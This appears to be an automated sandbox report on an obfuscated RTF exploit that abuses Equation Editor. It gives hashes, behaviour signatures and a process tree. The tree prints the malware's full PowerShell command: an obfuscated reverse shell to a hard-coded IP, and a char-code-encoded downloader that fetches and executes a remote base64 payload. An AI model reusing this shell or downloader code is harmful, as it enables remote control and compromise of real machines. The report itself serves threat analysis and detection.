Resubmissions

17-10-2023 07:49

231017-jnw6msbh96 10

31-08-2022 13:38

220831-qxc8fsfabl 10

Analysis

  • max time kernel
    100s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    31-08-2022 13:38

General

  • Target

    SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.32608.12463.rtf

  • Size

    1.1MB

  • MD5

    067208a716e65c2c5018064d00078ac5

  • SHA1

    f5bd4fba468d7119f3dda5d4e5c9d6b2f3f9ce4b

  • SHA256

    f443d54ed21c034b61c6e71a4f4705f33684d36b5784aa997461a88e99dc5202

  • SHA512

    88c4795df95aec2f5a7a600710a23a033641a568e49e22330d098554f7b980fd87a15e2d41c09ebc4dc881df69f89ed15d92444fb9553051611c81b4f53d421d

  • SSDEEP

    1536:4ch6dtRGWbCtpl5kmrJ//RFxXxBpzB9TBtiBqK8Qf6YXkY0kY0kY92i3e+6fw5bG:QnG

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:416
      • C:\Windows\SysWOW64\calc.exe
        C:\Windows\SysWOW64\calc.exe /Processid:{4EFCAA14-812C-4621-A8CD-C096348C58DF}
        2⤵
          PID:2008
      • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
        "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.32608.12463.rtf"
        1⤵
        • Drops file in Windows directory
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:108
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          2⤵
            PID:1884
        • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
          "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
          1⤵
          • Launches Equation Editor
          • Suspicious use of WriteProcessMemory
          PID:1480
          • C:\Windows\SysWOW64\CmD.exe
            CmD.exe /C cscript %tmp%\Client.vbs A C
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1340
            • C:\Windows\SysWOW64\cscript.exe
              cscript C:\Users\Admin\AppData\Local\Temp\Client.vbs A C
              3⤵
                PID:836
          • C:\Windows\system32\cMd.exe
            cMd /c cOpY "C:\Users\Admin\AppData\Local\Temp\Client.vbs" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches" /Y
            1⤵
            • Process spawned unexpected child process
            PID:1912
          • C:\Windows\System32\WindowsPowerShell\v1.0\PoWershell.exe
            PoWershell {$px = 'c0','a8','38','1';$p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.';$w = 'GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n';$s = [System.Text.ASCIIEncoding];[byte[]]$b = 0..65535|%{0};$x = 'n-eiorvsxpk5';Set-alias $x ($x[$true-10] + ($x[[byte]('0x' + 'FF') - 265]) + $x[[byte]('0x' + '9a') - 158]);$y = New-Object System.Net.Sockets.TCPClient($p,80);$z = $y.GetStream();$d = $s::UTF8.GetBytes($w);$z.Write($d, 0, $d.Length);$t = (n-eiorvsxpk5 whoami) + '$ ';while(($l = $z.Read($b, 0, $b.Length)) -ne 0){;$v = (New-Object -TypeName $s).GetString($b,0, $l);$d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t);$z.Write($d, 0, $d.Length);}$y.Close();Start-Sleep -Seconds 5};$TERIS6WJS0F1100C1S1YI2V3YXGJH0611EG9TGS14H98DMSB60G12021THS1B3I=@(40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,115,56,46,107,114,97,107,101,110,102,105,108,101,115,46,99,111,109,47,117,112,108,111,97,100,115,47,51,49,45,48,56,45,50,48,50,50,47,98,49,121,119,48,113,54,72,97,105,47,105,109,97,103,101,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($TERIS6WJS0F1100C1S1YI2V3YXGJH0611EG9TGS14H98DMSB60G12021THS1B3I)|I`E`X
            1⤵
            • Process spawned unexpected child process
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Blocklisted process makes network request
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:580

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Execution

          Exploitation for Client Execution

          1
          T1203

          Defense Evasion

          Modify Registry

          1
          T1112

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Client.vbs
            Filesize

            68KB

            MD5

            a5a025a8fe5c29446bb92d1229847810

            SHA1

            619a0be3deea21c334e51e4ef539db593867c13c

            SHA256

            af97c93d9e8e172fcd9845b992cbe868554d211379d350912f785ce420af3555

            SHA512

            e4f32f04adc1927f69cdf33a1d09d738e8640c019a5f8a9b3e8fdf5d33df33003a4121fb83ac187f5099ffc818666d8e6335582f7d44ae0324766826517d6b24

          • memory/108-69-0x000000007157D000-0x0000000071588000-memory.dmp
            Filesize

            44KB

          • memory/108-55-0x0000000070591000-0x0000000070593000-memory.dmp
            Filesize

            8KB

          • memory/108-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
            Filesize

            64KB

          • memory/108-57-0x0000000075B41000-0x0000000075B43000-memory.dmp
            Filesize

            8KB

          • memory/108-58-0x000000007157D000-0x0000000071588000-memory.dmp
            Filesize

            44KB

          • memory/108-54-0x0000000072B11000-0x0000000072B14000-memory.dmp
            Filesize

            12KB

          • memory/108-76-0x000000007157D000-0x0000000071588000-memory.dmp
            Filesize

            44KB

          • memory/108-75-0x000000005FFF0000-0x0000000060000000-memory.dmp
            Filesize

            64KB

          • memory/580-64-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp
            Filesize

            8KB

          • memory/580-67-0x00000000025E4000-0x00000000025E7000-memory.dmp
            Filesize

            12KB

          • memory/580-66-0x000007FEF3920000-0x000007FEF447D000-memory.dmp
            Filesize

            11.4MB

          • memory/580-68-0x00000000025EB000-0x000000000260A000-memory.dmp
            Filesize

            124KB

          • memory/580-65-0x000007FEF4480000-0x000007FEF4EA3000-memory.dmp
            Filesize

            10.1MB

          • memory/580-70-0x00000000025E4000-0x00000000025E7000-memory.dmp
            Filesize

            12KB

          • memory/580-72-0x00000000025EB000-0x000000000260A000-memory.dmp
            Filesize

            124KB

          • memory/836-61-0x0000000000000000-mapping.dmp
          • memory/1340-60-0x0000000000000000-mapping.dmp
          • memory/1884-73-0x0000000000000000-mapping.dmp
          • memory/2008-71-0x000000000001F100-mapping.dmp